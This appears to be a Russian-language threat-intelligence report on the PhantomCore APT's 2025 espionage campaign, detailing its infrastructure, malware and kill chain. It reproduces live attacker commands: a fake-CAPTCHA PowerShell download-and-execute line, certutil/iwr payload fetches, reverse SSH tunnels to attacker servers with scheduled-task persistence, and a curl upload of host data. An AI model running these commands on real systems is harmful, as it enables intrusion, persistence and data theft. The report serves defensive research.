PT Expert Security Center

Фантомные боли. Масштабная кампания кибершпионажа и возможный раскол APT-группировки PhantomCore

Фантомные боли. Масштабная кампания кибершпионажа и возможный раскол APT-группировки PhantomCore

Виктор Казаков

Виктор Казаков

Ведущий специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies

Ключевые моменты

Ключевые характеристики выявленной активности группировки PhantomCore:

  • Внушительный набор вредоносного ПО: от популярных в киберпреступной среде опенсорсных утилит и обновленных версий известных инструментов из личного арсенала — до ранее не встречавшихся новых образцов собственной разработки.
  • Сегментация инфраструктуры и инструментов: взломанный российский сайт, фишинговый ресурс с fake CAPTCHA, payload-хабы, MeshCentral серверы, SSH-туннели, панель управления Phantom.
  • Масштабность и интенсивность кибератак: с мая по июль более 180 зараженных хостов в российских организациях из ключевых отраслей экономики и сферы государственного управления.
  • Признаки раскола группировки и вовлечения граждан России в киберпреступную деятельность нового ответвления.

Введение

Впервые о группировке PhantomCore стало известно в начале 2024 года. За прошедшие полтора года группировка существенно нарастила наступательный арсенал, расширив его инструментами собственной разработки, и отметилась многочисленными кибератаками на критически значимую инфраструктуру России с целью шпионажа.

Экспертиза, накопленная TI-департаментом PT ESC в процессе тщательного изучения группировки, и внутренние системы киберразведки обеспечили оперативное обнаружение активности PhantomCore невзирая на эволюцию вредоносных инструментов. Принятые меры позволили в начале мая текущего года обнаружить новую масштабную кампанию кибершпионажа группировки в отношении российских организаций.

В рамках ее исследования удалось установить ключевую инфраструктуру группировки, изучить обновленный арсенал, в том числе ранее не встречавшиеся образцы собственной разработки, изучить TTP и kill chain кибератак, а также идентифицировать жертв из числа российских организаций, корпоративные сети которых подверглись компрометации, и предотвратить реализацию недопустимых событий.

Обнаружение кибератаки

В начале мая текущего года TI-департамент PT ESC обнаружил несколько экземпляров RAT-троянов, упакованных с использованием опенсорсной утилиты UPX (the Ultimate Packer for eXecutables) и распространявшихся через рассылку по электронной почте под видом ZIP-архивов, в том числе защищенных паролем, с названием «Документы_на_рассмотрение».

Запуск инкапсулированного LNK-файла приводил к открытию PDF-документа-приманки, а также к скрытой распаковке, инсталляции и запуску обновленной версии бэкдора PhantomRAT, который управлялся с C2-сервера 195.58.54[.]39.

Упакованный UPX бэкдор PhantomRAT
Упакованный UPX бэкдор PhantomRAT
Содержимое LNK-файла
Содержимое LNK-файла
PDF документ-приманка
PDF документ-приманка

Данные киберразведки, обогащенные вердиктами продуктов Positive Technologies, были оперативно добавлены в базу знаний PT Threat Intelligence Portal.

Вердикты PT ESC по бэкдору PhantomRAT 2025 года
Вердикты PT ESC по бэкдору PhantomRAT 2025 года

Дальнейшее изучение обнаруженной активности PhantomCore позволило TI-департаменту PT ESC целиком разоблачить кампанию кибершпионажа, своевременно поставить данные киберразведки в продукты Positive Technologies и предотвратить киберинциденты в сетях наших клиентов, а также своевременно проинформировать другие организации о компрометации сетей.

Анализ сетевой инфраструктуры

Обнаруженная сетевая инфраструктура группировки PhantomCore строго сегментирована по функциональному признаку и классам инструментов кибершпионажа, которыми она управляет (подробный разбор инструментов — в следующем разделе).

Сетевая инфраструктура группировки PhantomCore
Сетевая инфраструктура группировки PhantomCore

1. C2-сервер бэкдора PhantomRAT

Используется на первой стадии кибератаки — при получении первоначального доступа (Initial Access). Принимает базовую информацию о скомпрометированной системе, передает команды на загрузку с payload-хабов и запуск на зараженных хостах следующих стейджей: PhantomTaskShell, PhantomProxyLite, MeshAgent, RSocx.

Обнаруженные URL-маршруты:

  • /connect — установка соединения
  • /init — передача информации о зараженном хосте
  • /check — проверка соединения
  • /command — получение команды для выполнения на зараженном хосте
  • /out — отправка результатов выполнения команды
URL-маршруты C2-сервера бэкдора PhantomRAT
URL-маршруты C2-сервера бэкдора PhantomRAT

Обнаруженный сервер:

195.58.54.39


2. C2-серверы бэкдора PhantomRShell

Используются на первой стадии кибератаки — при получение первоначального доступа (Initial Access). Функциональность аналогична C2-серверам бэкдора PhantomRAT: получение базовой информации о скомпрометированной системе, отправка команд на загрузку с payload-хабов и запуск на зараженных хостах следующих стейджей: PhantomTaskShell, PhantomProxyLite, MeshAgent, RSocx.

Обнаруженные URL-маршруты:

  • /poll — передача информации о зараженном хосте и получение команды
  • /result — отправка результатов выполнения команды
URL-маршруты C2-сервера бэкдора PhantomRShell
URL-маршруты C2-сервера бэкдора PhantomRShell

Обнаруженные серверы:

188.127.254.44
91.239.148.21
185.225.17.104


3. Payload-хабы

Используются на последующих стадиях кибератаки для хранения и загрузки на зараженный хост следующего арсенала:

  • бэкдор PhantomTaskShell
  • бэкдор PhantomProxyLite
  • стилер PhantomStealer
  • утилита MeshAgent
  • утилита RSocx
  • утилита RClone
  • утилита восстановления паролей XenArmor All-In-One Password Recovery Pro

Группа киберразведки обнаружила несколько payload-хабов группировки PhantomCore:

  • Взломанный сайт

Используется на стадиях закрепления (Persistence) и предотвращения обнаружения (Defense Evasion) для хранения PhantomTaskShell, MeshAgent и RSocx и их загрузки на зараженные хосты операторами бэкдоров PhantomRAT и PhantomRShell по прямому URL:
 

up https://<redacted>/inetpub.zip C:\ProgramData\inetpub.zip

up https://<redacted>/update.zip C:\ProgramData\update.zip

up https://<redacted>/hosts.zip C:\ProgramData\hosts.zip

Загрузка бэкдора PhantomTaskShell и агента MeshAgent со взломанного сайта

  • VPS-хаб

VPS-сервер под управлением операционной системы Ubuntu с запущенной SSH-службой и 80 (HTTP) и 443 (HTTPS) сетевыми портами, меняющими свое состояние с закрытого на открытое (по наблюдениям группы киберразведки, открытое состояние характерно в начале рабочего дня, когда группировка загружает полезную нагрузку на зараженные хосты).

Сетевой профиль VPS-хаба
Сетевой профиль VPS-хаба

Используется на стадии получения учетных данных (Credential Access) для хранения стилера PhantomStealer и утилиты для восстановления паролей XenArmor All-In-One Password Recovery Pro и их загрузки на зараженные хосты бэкдором PhantomTaskShell по прямому URL:

iwr -Uri "http://188.127.254.234:80/browser.zip" -OutFile "C:\ProgramData\browser.zip"

certutil.exe -urlcache -f http://188.127.254.234/one.zip C:\\ProgramData\\one.zip


Обнаруженный сервер:

188.127.254.234
  • Фишинговый сайт

Зарегистрирован накануне выявленной кампании кибершпионажа, в апреле текущего года, на реальные данные гражданина России с использованием адреса электронной почты iseh34228@proton[.]me.

WHOIS-данные фишингового домена
WHOIS-данные фишингового домена

Использует оригинальную HTML-верстку официального сайта Московского городского фонда обязательного медицинского страхования, побуждает посетителей под предлогом прохождения fake CAPTCHA вставить и запустить содержимое буфера обмена в интерпретаторе командной строки Windows.
 

powershell -WindowStyle Hidden -Command "& {iwr 'https://mgfoms.org/in.php?action=2' -OutFile '%userprofile%\dnsclient.exe'; Start-Process '%userprofile%\dnsclient.exe' -ArgumentList 'run' -WindowStyle Hidden}"

Фишинговый сайт с fake CAPTCHA

Выполнение команды приводит к загрузке и скрытому запуску экземпляра MeshAgent, управляемого с того же MeshCentral-сервера с доменом austolns[.]pw, что и экземпляр MeshAgent, загружаемый с описанного выше взломанного сайта.

Конфигурация экземпляра MeshAgent
Конфигурация экземпляра MeshAgent

Обнаруженный фишинговый сайт:

mgfoms.org


4. C2-серверы PhantomTaskShell с панелью управления Phantom

VPS-серверы под управлением операционной системы Ubuntu с запущенной SSH-службой и открытым 80 (HTTP) сетевым портом, на котором функционирует панель управления Phantom c веб-интерфейсом аутентификации администраторов.

Панель управления Phantom
Панель управления Phantom

Используются на всех стадиях кибератаки, следующих за получением первоначального доступа, для управления зараженными хостами через бэкдор PhantomTaskShell. Предоставляют внешний API для получения команд, которые необходимо выполнить в PowerShell-оболочке жертвы, и отправки результатов их выполнения.

Обнаруженные URL-маршруты:

  • /login — аутентификация
  • /api/clients/ — регистрация зараженного хоста
  • /api/clients/<GUID>/commands — получение команд

В качестве favicon используется картинка с отсылкой к названию группировки PhantomCore, в действительности являющаяся копией первой буквы из стилизованного названия популярной компьютерной игры и изготовленная из распространяемого в игровом комьюнити PNG-трафарета.

Favicon панели управления Phantom
Favicon панели управления Phantom
Оригинальный PNG-трафарет
Оригинальный PNG-трафарет
Оригинальный лэндинг компьютерной игры
Оригинальный лэндинг компьютерной игры

Уникальные сетевые отпечатки позволили непосредственно в ходе изучения активности группировки обнаружить появление новых серверов с контрольной панелью Phantom, подтвердить их взаимосвязь по принципу использования одной C2-инфраструктуры (payload-хабы, проксирующие серверы, агрегаторы информации о зараженных хостах), существенно расширить знания о горизонте кибератаки и жертвах, а также поставить данные киберразведки в продукты Positive Technologies.

Данные киберразведки о сервере с панелью управления Phantom 
на PT Threat Intelligence Portal
Данные киберразведки о сервере с панелью управления Phantom на PT Threat Intelligence Portal

5. C2-серверы MeshAgent

VPS-серверы под управлением операционной системы Ubuntu с установленной системой удаленного управления устройствами MeshCentral, о чем говорят соответствующие TLS-сертификаты на открытом 443 (HTTPS) сетевом порте.

Сетевой профиль MeshCentral-сервера c TLS-сертификатом для austolns[.]pw
Сетевой профиль MeshCentral-сервера c TLS-сертификатом для austolns[.]pw
TLS-сертификат MeshCentral-сервера c доменом austolns[.]pw
TLS-сертификат MeshCentral-сервера c доменом austolns[.]pw

Используются на стадии закрепления (Persistence) для передачи информации о зараженных хостах и управления ими через экземпляры MeshAgent, загружаемые операторами PhantomRAT и PhantomRShell со взломанного либо фишингового сайтов.

В отношении MeshCentral-серверов группировка PhantomCore применяет целый комплекс мер конспирации, маскируя их под легитимную IT-инфраструктуру:

  • Мимикрия веб-интерфейсов аутентификации под корпоративные Mattermost- и Nextcloud-сервисы
Мимикрия веб-интерфейса MeshCentral сервера под Mattermost
Мимикрия веб-интерфейса MeshCentral сервера под Mattermost
Мимикрия веб-интерфейса MeshCentral сервера под Nextcloud
Мимикрия веб-интерфейса MeshCentral сервера под Nextcloud
  • IT-мимикрия доменных имен MeshCentral-серверов

Обнаруженные группой киберразведки MeshCentral-серверы группировки используют домены с тематикой кибербезопасности и разработки программного обеспечения:

nextcloud.soft-trust.com
nextcloud.1cbit.dev
nextcloud.trust-sec.it.com
softline-solutions.cloud


Ряд доменов были зарегистрированы с использованием реальных данных гражданина России и адреса электронной почты emilygrace1981@proton[.]me, связанного с иными доменами группировки PhantomCore c IT-мимикрией:

polylab.top
techinnovators.world
blockchaineech.world
agrotech.homes
miucroprocessors.world
cybersedcurity.world
reconfiguratifon.world
telecommuunication.world
interoperaebility.world
  • Мимикрия под реальные российские IT-компании

На 81 (HTTP) сетевом порте MeshCentral-серверов функционирует лэндинг с HTML-разметкой, скопированной с официальных сайтов российских IT-компаний.

Мимикрия под российский IT-интегратор
Мимикрия под российский IT-интегратор

Обнаруженные MeshCentral домены и серверы:

austolns.pw
nextcloud.soft-trust.com
nextcloud.1cbit.dev
nextcloud.trust-sec.it.com
softline-solutions.cloud

194.87.253.233
213.232.204.110
194.116.215.36
46.8.71.104
217.19.4.206
91.239.148.211


6. Прокси-серверы PhantomProxyLite, RSocx, SSH-туннелей

VPS-серверы под управлением операционной системы Ubuntu с открытыми 80 (HTTP), 443 (HTTPS) и 8080 (HTTP) сетевыми портами, на которых запущена SSH-служба. Используются на стадиях закрепления (Persistence), предотвращения обнаружения (Defense Evasion) и организации управления (Command and Control) для создания обратного SSH-туннеля до внутренней сети жертвы, замаскированного под легитимный HTTPS-трафик.

Сетевой профиль прокси-сервера
Сетевой профиль прокси-сервера

Команды на запуск SSH-туннеля, выполняемые на зараженных хостах с использованием бэкдора PhantomTaskShell и планировщика задач Windows:

ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 37581 -p 443 cfyvg84df17842o@185.130.251.227

schtasks /create /sc DAILY /tn SSH /tr \\"C:\\Windows\\system32\\OpenSSH\\ssh.exe -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 52213 -p 443 cfyvg84df17842o@185.130.251.227\\" /f /st 09:00


Управление SSH-сессиями на зараженных хостах осуществляется через панель управления, функционирующую на 80 (HTTP) сетевом порте туннелирующих серверов.

Панель управления на сервере с SSH-туннелем
Панель управления на сервере с SSH-туннелем

Прокси-серверы также используются на стадиях сбора (Collection) и эксфильтрации (Exfiltration) данных, выступая в качестве хаба для утилиты RClone и файла конфигурации, загружаемых на зараженный хост с сетевого порта 8080 (HTTP) сервера командами:

certutil.exe -urlcache -f "http://195.133.32.213:8000/srvhost.exe" "C:\ProgramData\srvhost.exe"

certutil.exe -urlcache -f http://195.133.32.213:8000/wusa.conf C:\ProgramData\wusa.conf


Обнаруженные серверы:

193.187.174.251
185.130.251.227
195.133.32.213
193.187.174.3
194.116.215.166
185.130.251.219
88.66.89.231
91.219.151.103
91.219.151.59
45.8.228.253
45.158.169.131


7. Агрегаторы информации о зараженных хостах

VPS-серверы под управлением операционной системы Ubuntu с 80 (HTTP) открытым сетевым портом, на котором функционирует бэкенд получения информации о зараженных хостах. Используются на стадии обнаружения (Discovery).

Обнаруженные URL-маршруты:

  • /upload — загрузка информации о зараженном хосте
Сетевой профиль сервера-агрегатора
Сетевой профиль сервера-агрегатора

Команда на отправку информации о зараженном хосте, выполняемая в интерпретаторе командной строки Windows с использованием бэкдора PhantomTaskShell:

C:\\Windows\\System32\\curl.exe -v -F "file=@C:\\ProgramData\\user_report.txt" -F "destinationPath=./user_report.txt" http://185.130.249.224:80/upload'


Обнаруженный сервер:

185.130.249.224


География вредоносной инфраструктуры группировки PhantomCore характеризуется тем, что почти половина (48%) серверов расположены в России, преимущественно в сетях трех российских провайдеров хостинга:

  • LLC Smart Ape — AS56694 (28%)
  • Mt Finance LLC — AS214822 (14%)
  • First Server Limited — AS204997 (5%)

Девятнадцать процентов российского кластера инфраструктуры расположены в подсети 185.130.248.0/22. Доля зарубежной инфраструктуры составляет 52%, она практически равномерно распределена между несколькими странами: Финляндия (9%), Франция (9%), Нидерланды (9%), США (5%), Германия (5%), Гонконг (5%), Молдавия (5%), Польша (5%). При этом 33% всей инфраструктуры сосредоточены в сетях канадского провайдера Cgi Global Limited.

Сетевая инфраструктура PhantomCore на PT Threat Intelligence Portal
Сетевая инфраструктура PhantomCore на PT Threat Intelligence Portal

Анализ инструментов

1. PhantomRAT

PhantomRAT — написанный на Go бэкдор, используемый в виде исполняемого PE-файла на первой стадии кибератаки для получения первоначального доступа и загрузки следующих стейджей: PhantomTaskShell, PhantomProxyLite, MeshAgent, RSocx.

В бэкдоре отсутствует реализация техник закрепления (Persistence) на зараженном хосте.

  • Предотвращение обнаружения (Defence Evasion)

Для обнаружения средств отладки, виртуализации и анализа PhantomRAT использует WinAPI-функцию IsDebuggerPresent(), проверяет ключи реестра Windows DriverDesc и SYSTEM\ControlSet001\Services\Disk на наличие строки «vmware».

  • Обнаружение (Discovery)

PhantomRAT собирает следующую информацию о зараженном хосте:

ПараметрЗначениеСпособ получения
hostИмя хостаВызов golang-функции os.hostname()
userИмя пользователяЗначение переменной окружения USERNAME, получаемое через вызов golang-функции os.Getenv()
domainДоменЗначение переменной окружения USERDOMAIN, получаемое через вызов golang-функции os.Getenv()
local_ipIP-адрес хоста в локальной сетиВызов golang-функции net.InterfaceAddrs()
public_ipВнешний IP-адрес хостаЗапрос к внешнему сервису https://ident.me
  • Организация управления (Command and Control)

PhantomRAT проверяет наличие соединения с C2-сервером:

GET /connect


и отправляет JSON с информацией о зараженном хосте:
 

POST /init
JSON с информацией о зараженной системе
JSON с информацией о зараженной системе

Далее PhantomRAT циклично запрашивает у C2-сервера команды, которые необходимо выполнить на зараженном хосте:

POST /command


C2-сервер возвращает JSON с полем Response, содержащим тип (cmd_id) и содержимое (cmd_data) команды, которую необходимо выполнить на зараженном хосте.

JSON с информацией о команде
JSON с информацией о команде

Параметр типа команды (cmd_id) может принимать несколько значений:

КомандаНазначение
UpЗагрузка файла с удаленного хоста в зашитую в коде директорию C:\ProgramData\
ExВыполнение переданной в cmd_data команды в интерпретаторе командной строки в формате: cmd /s /c "<cmd_data> | cmd"
StЗапуск процесса на зараженном хосте (например, ранее загруженного файла): cmd.exe /C start "<cmd_data>"

Результаты выполнения команды PhantomRAT отправляет в JSON с аналогичной структурой:
 

POST /out
JSON с результатом выполнения команды
JSON с результатом выполнения команды

В коде PhantomRAT также имеется функция проверки соединения с C2-сервером:

POST /check


Однако вне зависимости от результата бэкдор не выполняет никаких действий, а данная функциональность, вероятно, является тестовой и находится в стадии разработки.

Обнаруженные экземпляры:

c34fb316e7b60cff25be9c86e5736b802b9e99b1ac29daa03b08c3435b6ada8c
278f051832c4b2c95ba899d685478bd3430f74d21aea367377cc17788c3a5638
c67cf425d688bba6dbe00e6d86a501f6978664ff99c1811c7104f4a3f4b7e884
31cc62a06720e0c20f03e0cb912bb92b20e5f339ae9c7280b235f63ac35eda9a
9287fd8adc333469eabe655ccf13b78e1abb6e42c0cc6817ae66372fb126a683


Ключевые особенности:

  • исполняемый PE-файл, написанный на Go;
  • отсутствие техник закрепления;
  • наличие техник предотвращения обнаружения;
  • широкий спектр информации, собираемой о зараженном хосте;
  • вариативность типов действий, выполняемых на зараженном хосте;
  • отсутствие шифрования передаваемой информации;
  • зашитая в код константа — путь C:\ProgramData.

2. PhantomRShell

PhantomRShell — написанный на С++ бэкдор, используемый в виде динамически подключаемой библиотеки DLL на первой стадии кибератаки для получения первоначального доступа и загрузки следующих стейджей: PhantomTaskShell, PhantomProxyLite, MeshAgent, RSocx.

В бэкдоре отсутствует реализация техник закрепления (Persistence) на зараженном хосте и предотвращения обнаружения (Defence Evasion).

  • Обнаружение (Discovery)

PhantomRShell использует WinAPI-функции для получения следующей информации о зараженном хосте:

ПараметрЗначениеСпособ получения
GUIDИдентификаторВызов WinAPI-функции CoCreateGuid()
hostnameИмя хостаВызов WinAPI-функции GetComputerNameW()
ADДоменВызов WinAPI-функции GetComputerNameExW()

В случае ошибки в качестве значения параметра используется строка «UNKNOWN».

Далее создаются рабочие директории:

  • C:\ProgramData\YandexCloud
  • C:\ProgramData\MicrosoftAppStore

 

  • Организация управления (Command and Control)

В запросах PhantomRShell к C2-серверу HTTP-заголовок User-Agent принимает одно из значений:

  • YandexCloud/1.0
  • MicrosoftAppStore/2001.0

PhantomRShell выполняет три попытки установить соединение с C2-сервером. При отсутствии соединения бэкдор активирует таймаут в 10 секунд, по истечении которого цикл повторяется. Установив соединение с C2-сервером, PhantomRShell передает информацию о зараженном хосте.

GET /poll?id=<GUID>&hostname=<hostname>&domain=<AD>
User-Agent: YandexCloud/1.0


Далее PhantomRShell получает от C2-сервера команды, которые необходимо выполнить на зараженном хосте, в двух возможных форматах:

КомандаНазначение
cmd:<cmd_data>|<cmd_ID>    

Выполнение команды cmd_data в интерпретаторе командной строки в формате:

cmd.exe /C <cmd_data>

download:< cmd_data >|<cmd_ID>

Загрузка файла с удаленного хоста в одну из ранее созданных директорий:

— C:\ProgramData\YandexCloud
— C:\ProgramData\MicrosoftAppStore

Результат выполнения команды PhantomRShell отправляет на C2-сервер в JSON в поле result. В случае исполнения команды на загрузку файла с удаленного хоста в поле result передаются строки Download successful:<path> или Download failed в зависимости от успеха загрузки:
 

POST /result
User-Agent: YandexCloud/1.0
JSON с результатами выполнения команды
JSON с результатами выполнения команды

Обнаруженные экземпляры:

ed9b24a77a74cd34c96b30f8de794fe85eb1d9f188f516bd7d6020cc81a86728
4c78d6bba282aaff0eab749cfa8a28e432f7cbf9c61dec8de8f4800fd27e0314
204544fc8a8cac64bb07825a7bd58c54cb3e605707e2d72206ac23a1657bfe1e
413c9e2963b8cca256d3960285854614e2f2e78dba023713b3dd67af369d5d08
b683235791e3106971269259026e05fdc2a4008f703ff2a4d32642877e57429a
be14fc604c840c3afff9542106c73ed247417de5a56b1e9b2843e7947f0722d9
01f12bb3f4359fae1138a194237914f4fcdbf9e472804e428a765ad820f399be


Ключевые особенности:

  • динамически подгружаемая библиотека DLL, написанная на С++;
  • отсутствие техник закрепления;
  • отсутствие техник предотвращения обнаружения;
  • вариативность типов действий, выполняемых на зараженном хосте;
  • широкий спектр информации, собираемой о зараженном хосте;
  • отсутствие шифрования передаваемой информации;
  • использование специфичных User-Agent;
  • зашитая в код константа — путь C:\ProgramData\YandexCloud;
  • зашитая в код константа — путь C:\ProgramData\MicrosoftAppStore;
  • мимикрия под решения российских IT-вендоров.

3. PhantomTaskShell

PhantomTaskShell — PowerShell-бэкдор, используемый на всех стадиях кибератаки, следующих за получением первоначального доступа, для управления зараженными хостами из контрольной панели Phantom и загрузки следующих стейджей: PhantomStealer, OpenSSH, XenArmor All-In-One Password Recovery Pro, RClone.

При первом запуске PhantomTaskShell на зараженном хосте создается файл update_id.txt, в который записывается значение параметра GUID, получаемого с помощью функции [System.Guid]::NewGuid().

Для закрепления на зараженном хосте в планировщике Windows создается задача с названием SystemAdminAgent_<GUID>, запускающая PhantomTaskShell в течение 9999 дней вне зависимости от источника питания (батарея или аккумулятор). При каждом очередном запуске проверяется наличие файла update_id.txt с информацией о GUID.

В случае первого запуска бэкдора, на что указывает отсутствие файла update_id.txt, PhantomTaskShell регистрирует зараженный хост в панели управления Phantom, отправляя на C2-сервер GUID и имя хоста, получаемое из переменной окружения COMPUTERNAME:
 

POST /api/clients
JSON с информацией о зараженном хосте
JSON с информацией о зараженном хосте

Далее PhantomTaskShell каждые 60 секунд запрашивает у панели управления Phantom команды, которые необходимо выполнить на зараженном хосте.
 

/api/clients/GUID/commands
Код запроса команд
Код запроса команд

C2-сервер возвращает список, каждый элемент которого начинается со строки «Pending:», за которой следует команда для выполнения на зараженном хосте.

Получаемый от C2 список команд
Получаемый от C2 список команд
Код выполнения команд на зараженном хосте
Код выполнения команд на зараженном хосте

Результаты выполнения команд PhantomTaskShell отправляет на тот же URL в JSON.

JSON с результатами выполнения команды
JSON с результатами выполнения команды

Все действия PhantomTaskShell на зараженном хосте журналируются в файле update.log.

Константы, прописанные в коде PhantomTaskShell
Константы, прописанные в коде PhantomTaskShell

Обнаруженный экземпляр:

9f9acdd833f3fd7b8bf987a8cc17e9456546fdcbcfe80c3b0dfc57c6f62d3e4b


4. PhantomStealer

PhantomStealer — написанный на Go стилер, используемый на стадии получения учетных данных (Credential Access). Предназначен для работы с данными аутентификации, сохраненными в Яндекс Браузере, Google Chrome и Discord. Не является опенсорсной утилитой, однако содержит инструкцию по использованию.

Инструкция по использованию стилера
Инструкция по использованию стилера

Параметры запуска:

  • program — программное обеспечение, данные которого необходимо обработать: Яндекс Браузер, Google Chrome, Discord.

Варианты использования:

  • -c: экспорт данных аутентификации;
  • -d: импорт данных аутентификации.

При экспорте стилер выгружает, расшифровывает и сохраняет данные аутентификации каждого поддерживаемого программного обеспечения в отдельный файл, а затем упаковывает данные экспорта в единый ZIP-архив:

  • Яндекс Браузер — файл yandex-udak64.dat;
  • Google Chrome — файл chromecc16.dat;
  • Discord — файл discord-key.dat.

Нехарактерная для стилеров функция импорта данных, вероятно, используется операторами PhantomStealer для удобства последующей работы с украденными учетными записями.

Обнаруженный экземпляр:

c3d05d7d6e1c50c6bd493fd5613c3204e6beadf8b6e4915cdf2f899fabf86a4e


5. PhantomProxyLite

PhantomProxyLite — инструмент, используемый на стадии закрепления (Persistence) и предотвращения обнаружения (Defence Evasion) для организации SSH-туннеля между зараженным хостом и C2-сервером и устойчивого доступа в скомпрометированную сеть.

PhantomProxyLite функционирует как фоновая служба с названием SSHService. При первом запуске генерирует случайный номер обратного (reverse) сетевого порта C2-сервера, превышающий 12559, значение которого сохраняется в ключе реестра Windows HKLM\SOFTWARE\SSHService и запрашивается при каждом запуске инструмента.
В директории C:\Windows\Temp создается файл config с параметрами SSH-туннелирования сетевого трафика до C2-сервера.

Запись параметров конфигурации с файл
Запись параметров конфигурации с файл

На зараженном хосте PhantomProxyLite запускает клиент ssh.exe с параметрами, сохраненными в файле конфигурации и реестре Windows, и поднимает обратный SSH-туннель до 443 сетевого порта прокси-сервера, маскируя вредоносный сетевой трафик под легитимные HTTPS-соединения.

Запуск клиента ssh.exe
Запуск клиента ssh.exe

Обнаруженные экземпляры:

b701272e20db5e485fe8b4f480ed05bcdba88c386d44dc4a17fe9a7b6b9c026b
2611121e4100b60e8644211bdc831144ba8b772d4d40e616864e7a723a9d7bf8
a2be4d9fdba560a4706ff8c4b32f092ef476f203c96e1b4afaf391cfe82aa533


6. XenArmor All-In-One Password Recovery Pro

XenArmor All-In-One Password Recovery Pro — утилита для восстановления параметров аутентификации в операционных системах Windows, распространяемая на коммерческой основе. Используется на стадии получения учетных данных (Credential Access).

Официальный сайт XenArmor

Для приобретения утилиты группировка PhantomCore использует привилегированный аккаунт со статусом Gold, зарегистрированный 16 июля 2024 года на адрес netu@tuta[.]com.

Файл лицензии XenArmor
Файл лицензии XenArmor

С аккаунта совершены две покупки: 16 июля 2024 года приобретена версия утилиты 2023 года, обнаруженная в начале исследуемой кампании кибершпионажа, 13 мая 2025 года приобретена обновленная версия утилиты, вероятно планируемая к использованию в будущих кибератаках 2025–2026 годов.

XenArmor аккаунт группировки PhantomCore

7. RClone

RClone — опенсорсная утилита для синхронизации данных между локальным компьютером и облачным хранилищем. Используется группировкой PhantomCore на стадии эксфильтрации (Exfiltration) данных с зараженных хостов.

Обнаруженный группой киберразведки экземпляр RClone, загружаемый с одного их payload-хабов группировки, относится к версии 1.69.1 утилиты, что подтверждается совпадением хеш-сумм обнаруженного образца и опубликованного в официальном репозитории.

Согласно данным конфигурации обнаженного экземпляра, для эксфильтрации данных группировка PhantomCore использует аккаунт облачного хранилища Mega[.]nz, зарегистрированный на электронный адрес mariaaa228@proton[.]me.

Файл конфигурации RClone
Файл конфигурации RClone

Kill chain, TTP кибератаки

1. Получение первоначального доступа (Initial Access)

Используемые инструменты:

  • PhantomRAT
  • PhantomRShell

Используемая инфраструктура:

195.58.54.39
91.239.148.21
188.127.254.44
185.225.17.104


Доставка бэкдоров осуществляется в виде polyglot-файлов с использованием среди прочего взломанных адресов электронной почты легитимных российских компаний.

Вредоносное письмо со взломанной электронной почты с экземпляром PhantomRShell
Вредоносное письмо со взломанной электронной почты с экземпляром PhantomRShell
Детект в PT Threat Intelligence Portal
Детект в PT Threat Intelligence Portal

2. Закрепление (Persistence), предотвращение обнаружения (Defence Evasion)

Используемые инструменты:

  • PhantomTaskShell
  • PhantomProxyLite
  • MeshAgent
  • OpenSSH
  • RSocx

Используемая инфраструктура:

austolns.pw
mgfoms.org
nextcloud.soft-trust.com
nextcloud.1cbit.dev
nextcloud.trust-sec.it.com
softline-solutions.cloud

194.87.253.233
213.232.204.110
194.116.215.36
46.8.71.104
217.19.4.206
91.239.148.211
193.187.174.251
185.130.251.227
195.133.32.213
193.187.174.3
194.116.215.166
185.130.251.219
88.66.89.231
188.127.254.234
91.219.151.103
91.219.151.59
45.8.228.253
45.158.169.131


Процедуры:

  • С использованием PhantomRAT или PhantomRShell загрузка архива с экземпляром MeshAgent с одного из payload-хабов, распаковка и создание в планировщике Windows задачи на его ежедневный скрытый запуск в 10 часов утра:

Загрузка MeshAgent с VPS-сервера

iwr -Uri "http://188.127.254.234:443/remote.zip" -OutFile "C:\ProgramData\remote.zip"

iwr -Uri "http://188.127.254.234:80/dnsclient.zip" -OutFile "C:\ProgramData\dnsclient.zip"

iwr -Uri http://188.127.254.234:80/inetpub.zip -OutFile C:\ProgramData\inetpub.zip

certutil.exe -urlcache -f http://188.127.254.234:80/remote.zip C:\ProgramData\remote.zip


Загрузка MeshAgent со взломанного сайта

up https://<redacted>/inetpub.zip C:\ProgramData\inetpub.zip


Загрузка MeshAgent с фишингового сайта с fake CAPTCHA

powershell -WindowStyle Hidden -Command "& {iwr 'https://mgfoms.org/in.php?action=2' -OutFile '%userprofile%\dnsclient.exe'; Start-Process '%userprofile%\dnsclient.exe' -ArgumentList 'run' -WindowStyle Hidden}"


Распаковка MeshAgent

expand-archive -force -path C:\ProgramData\inetpub.zip -destinationpath C:\ProgramData\

expand-archive -force -path C:\ProgramData\dnsclient.zip -destinationpath C:\ProgramData\


Создание задачи в планировщике Windows

schtasks /create /sc DAILY /tn \"Microsoft Update\" /tr \"C:\ProgramData\YandexCloud\dnsclient.bat\" /mo 1 /st 10:00

schtasks /create /sc DAILY /tn \"Microsoft Update\" /tr \"C:\ProgramData\YandexCloud\dnsclient.bat\" /st 10:00

schtasks /create /sc DAILY /tn \"Microsoft Update\" /tr \"C:\ProgramData\YandexCloud\dnsclient.bat\" /st 10:01 /f

schtasks /create /sc DAILY /tn \"Yandex Update\" /tr \"powershell -WindowStyle Hidden -Command Start-Process 'C:\ProgramData\inetpub.exe' -ArgumentList 'run' -WindowStyle Hidden\" /mo 1 /st 10:00 /ri 5

schtasks /create /sc DAILY /tn DNS /tr \"powershell -WindowStyle Hidden -Command Start-Process 'C:\ProgramData\dnsclient.exe' -ArgumentList 'run' -WindowStyle Hidden\" /f /st 10:00

schtasks /create /sc DAILY /tn DNS /tr \"powershell -WindowStyle Hidden -Command Start-Process 'C:\ProgramData\inetpub.exe' -ArgumentList 'run' -WindowStyle Hidden\" /f /st 10:00
  • С использованием PhantomRAT или PhantomRShell загрузка и установка клиента OpenSSH из официального GitHub-репозитория, организация обратного (reverse) SSH-туннеля на сетевом порте 80 (HTTP) либо 443 (HTTPS) с опцией аутентификации без пароля и ключа, создание в планировщике Windows задачи на его ежедневный запуск в 9 часов утра:

Загрузка и установка клиента OpenSSH

msiexec /qn /i https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.8.3.0p2-Preview/OpenSSH-Win64-v9.8.3.0.msi


Листинг директории OpenSSH

dir "C:\Program Files\OpenSSH"
dir \"C:\Program Files\OpenSSH\"
dir C:\windows\system32\Openssh


Просмотр версии SSH

ssh -V


Организация SSH-туннеля

